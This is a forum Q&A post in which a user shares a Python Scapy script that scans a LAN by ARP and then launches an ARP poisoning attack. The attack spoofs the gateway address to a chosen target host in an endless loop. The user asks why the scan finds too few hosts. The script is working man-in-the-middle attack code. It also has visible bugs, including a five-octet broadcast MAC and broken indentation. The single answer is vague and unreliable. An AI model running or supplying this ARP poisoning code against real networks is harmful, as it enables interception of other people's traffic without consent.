Arp Scanner built on Scapy doesn't return all clients

Question

I'm trying to build a arp scanner script with Scapy. Everytime I perform a scan, I don't get the expected result. I get only two responses: one from the gateway and another one from my host machine (I'm performing the scan from a virtual machine Kali). Sometimes, I only get one more response, that's all. But, when I'm doing a ARP discovery with another tool (like Nmap), I get all expected responses (from eight machines). What's wrong in my code guys ? Can you help me ? :-(.

from scapy.all import *
import sys
from datetime import datetime

def Out():
    print "\nBye!"
    sys.exit(1)    

try:
    os.system('clear')
    interface = raw_input("Enter interface : ")
    ips = raw_input("Enter network address : ")
    collection = []
    print "Scanning..."
    start_time = datetime.now()
    conf.verb = 0
    ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF")/ARP(pdst=ips),iface=interface,timeout=2,inter=0.5)        #Arp scanner starts here
    n=0

    for snd,rcv in ans:
        result = rcv.sprintf(r"%Ether.src% : %ARP.psrc%")
        collection.append(result) #append to collection
        print n, "-", collection[n]
        n=n+1
    stop_time = datetime.now()

    print "\nScan done in ", stop_time - start_time, " seconds."
    if n > 0:
        target=raw_input("\nPlease enter host to arp poison : ")
        gw_addr=raw_input("Enter the gateway address : ")
        print "\nArp poison on host", target, "starting...\nHit Ctrl + C to Stop.\n"
        p=ARP(pdst=target,psrc=gw_addr) #arp poison attack starts here
    send(p,inter=RandNum(10,40),loop=1)
    else:
        Out()        

except KeyboardInterrupt:
    Out()

Answer 1

try to make the tool work infinitely and use that code to re-print the results

import sys
print"\rthe result",
sys.stdout.flush()

I think that first result gave you the only this moment traffics and the Infinit loop will monitor all the result.

I hope you find it out ;)